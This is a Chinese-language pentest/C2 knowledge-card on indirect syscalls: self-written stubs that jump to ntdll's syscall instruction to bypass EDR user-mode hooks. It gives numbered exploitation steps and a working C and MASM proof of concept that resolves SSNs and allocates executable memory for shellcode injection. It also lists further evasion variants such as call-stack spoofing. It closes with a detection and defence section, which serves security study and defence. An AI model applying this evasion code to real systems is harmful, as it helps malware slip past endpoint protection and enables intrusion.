♧ Godown 安全知识树

间接系统调用:自写 stub jmp 到 ntdll 的 syscall 指令,隐藏直接 syscall IoC 与 ETW 限制

pentest/c2 · verified

一句话结论

直接系统调用把 mov r10,rcx; mov eax,SSN; syscall; ret 放在自己模块里,EDR 可用“syscall 指令不在 ntdll 内存”作为 IoC;间接系统调用把 stub 改成 mov r10,rcx; mov eax,SSN; jmp qword ptr [ntdll_syscall_addr],让 syscall 与后续 ret 都执行在 ntdll 内,消除这一静态特征,但仍会被 ETW/调用栈检查识别,需要配合调用栈欺骗。

原理

  • 用户态 hook:EDR 常在 ntdll 导出函数开头写 inline jmp 到自己的 hooking DLL,检查调用参数/来源后再决定是否跳回 ntdll 执行 syscall。直接系统调用绕过它:自己从 ntdll stub 的 +4 读取 SSN,在自己的内存中执行 syscall。
  • 直接 syscall 的 IoC:syscall/ret 指令位于恶意模块的代码页,调用栈中没有 ntdll 作为调用者;EDR 可检查“执行 syscall 的 RIP 是否落在 ntdll 映射范围”来告警。
  • 间接 syscall 的 stub:保留 mov r10, rcx(x64 syscall 参数约定)与 mov eax, SSN,最后不执行 syscall,而是 jmp qword ptr [sysAddr],其中 sysAddr 是 ntdll 中目标 stub 内部 syscall 指令的地址。jmp 不压返回地址,ntdll 的 syscall 执行完后继续执行 ntdll 中的 ret,弹出的是最初调用自写 stub 时压入的返回地址,于是控制流回到调用者。这样 syscall 与 ret 都在 ntdll 内完成。
  • syscall 地址与 SSN 定位:SSN 在 stub 的 +4(4c 8b d1 后 b8 的立即数)。syscall 地址不能简单假设 +8:Windows 10/11 的 ntdll stub 常带 test byte ptr ds:[7FFE0308],1; jne ... 的分支前导,syscall 可能位于 +0x12 之类偏移;稳妥做法是在函数前 0x20 字节内扫描 0f 05 并校验 stub 形态。
  • 为什么能降低检测:EDR 若只看 syscall 指令地址是否属于 ntdll,则间接 syscall 与正常 ntdll 调用在指令地址上无差别;同时 ret 也在 ntdll,静态扫描更难区分。
  • 仍会被检测的点:ntdll 的 syscall 之后直接 ret 到恶意模块,调用栈上缺少“用户态 API→ntdll 导出函数”的合法帧;使用 ETW Threat Intelligence / 内核回调 / 栈回溯的 EDR 会检查整个调用栈,发现返回地址不在预期调用链中。
  • 限制:仅绕过用户态 hook,不绕过内核回调、ETW/AMSI、内存扫描;SSN 与 stub 偏移随 Windows 版本/补丁变化,必须动态解析;若 EDR hook 了 ntdll 的 syscall 附近字节或对代码页做完整性校验,间接跳转也可能被拦截。

触发条件

  • Windows x64,EDR/AV 在用户态 inline hook ntdll 导出函数。
  • 攻击者能执行自写汇编 stub(C/C++ 内联汇编、MASM .asm、Rust asm! 等),并能读取 ntdll 中目标函数的字节。
  • 已知/可动态解析目标函数的 SSN 与 stub 内 syscall 指令地址(同一 Windows 版本上解析)。
  • 进程有权限执行目标 NT 调用(分配/写内存/创建线程等)。
  • 若目标 EDR 使用 ETW 栈检查,还需额外的调用栈欺骗/合法帧构造,否则间接 syscall 仍可能告警。

利用步骤

  1. GetModuleHandleA("ntdll.dll") + GetProcAddress 定位目标函数(如 NtAllocateVirtualMemory、NtWriteVirtualMemory、NtCreateThreadEx、NtWaitForSingleObject)。
  2. 读取 stub 起始字节,校验 4c 8b d1 b8 形态;从 +4 读取 4 字节 SSN。
  3. 在 stub 前 0x20 字节内扫描 0f 05 得到 syscall 指令地址;不要硬编码 +0x12,不同版本前导长度不同。
  4. 在 .asm/内联汇编中为每个函数写 stub:mov r10, rcx; mov eax, ssn; jmp qword ptr [sysAddr]。
  5. 主程序调用这些 stub 完成内存分配、shellcode 写入、线程创建与等待;确认功能正常且未经过被 hook 的 ntdll 导出入口。
  6. 若 EDR 仍告警,检查是否触发了栈回溯:需要调用栈欺骗(伪造合法返回地址、调整 RSP、使用合法模块 gadget),或改用更底层的规避。
  7. 记录目标 Windows 版本与 stub 字节,换版本必须重新解析 SSN/偏移。

PoC

#include <windows.h>
#include <stdio.h>

DWORD wNtAllocateVirtualMemory;
UINT_PTR sysAddrNtAllocateVirtualMemory;

static UINT_PTR find_syscall(UINT_PTR func) {
    unsigned char *p = (unsigned char *)func;
    for (int i = 0; i < 0x20; i++) {
        if (p[i] == 0x0f && p[i + 1] == 0x05)   // syscall
            return func + i;
    }
    return 0;
}

int main(void) {
    HANDLE hNtdll = GetModuleHandleA("ntdll.dll");
    UINT_PTR pNtAlloc = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

    // stub: 4c 8b d1 b8 <SSN:4> ... 0f 05 c3
    wNtAllocateVirtualMemory = *(DWORD *)(pNtAlloc + 4);
    sysAddrNtAllocateVirtualMemory = find_syscall(pNtAlloc);  // 示例中可能为 pNtAlloc + 0x12

    // 调用 asm stub:mov r10, rcx; mov eax, wSSN; jmp [sysAddr]
    PVOID buf = NULL; SIZE_T size = 0x1000;
    NtAllocateVirtualMemory((HANDLE)-1, &buf, 0, &size,
                            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    return 0;
}
; MASM 间接 syscall stub(每个函数一份,变量在 C 中赋值)
EXTERN wNtAllocateVirtualMemory:DWORD
EXTERN sysAddrNtAllocateVirtualMemory:QWORD
.CODE
NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, wNtAllocateVirtualMemory
    jmp QWORD PTR [sysAddrNtAllocateVirtualMemory]   ; 跳到 ntdll 内的 syscall
    ret
NtAllocateVirtualMemory ENDP
END
对比:
直接 syscall: mov r10,rcx; mov eax,SSN; syscall; ret        (syscall/ret 在本模块)
间接 syscall: mov r10,rcx; mov eax,SSN; jmp [ntdll_syscall] (syscall/ret 在 ntdll)
验证:x64dbg 中 syscall 的 RIP 应落在 ntdll 映射范围,且 ret 后回到调用者。

变体与关联

  • 变体:Syswhispers2/3、Hell's Gate、Halo's Gate、FreshyCalls 等动态 SSN 解析方案;间接 stub 可与任一方案组合。
  • 变体:只对关键函数(分配、写内存、创建线程、sleep)走 syscall,其余保持普通 API,降低行为异常。
  • 变体:从磁盘干净 ntdll、KnownDlls、挂起进程或手工映射副本读取 stub,避免读取已被 EDR hook 的内存 ntdll。
  • 变体:调用栈欺骗(伪造返回地址、合法 gadget、TLS 缓存)配合间接 syscall 对抗 ETW 栈检查。
  • 关联:[[pentest-c2-indirect-syscall-ntdll-hook-bypass]](动态解析 SSN + 直接/间接 syscall 的既有卡)、[[pentest-c2-hells-gate-neighbor-ssn-recovery]](邻居 stub 恢复 SSN)、[[pentest-c2-freshycalls-export-sort-ssn]](导出表排序解析 SSN)、[[pentest-c2-call-stack-spoofing-pdata-gadget-tls-cache]](调用栈欺骗)。

检测与防御

  • 检测:syscall/ret 指令的 RIP 在 ntdll 内但调用栈缺少合法 ntdll 导出函数帧;返回地址直接从 ntdll 跳回未签名/可疑模块。
  • 检测:ETW Threat Intelligence、内核回调、栈回溯与调用栈完整性校验;对比内存 ntdll 与磁盘副本,发现 hook/patch。
  • 检测:进程短时间大量 NT 调用但用户态 API 调用记录缺失;自写 stub 的 jmp [绝对地址] 形态与异常代码页。
  • 防御:不要只依赖用户态 ntdll hook,启用内核遥测、ETW、AMSI、内存扫描与行为链检测;启用 CFG/CET/栈保护。
  • 防御(攻击面评估):间接 syscall 只降低静态特征,不能绕过内核与 ETW;评估规避方案时必须同时考虑栈欺骗与行为检测。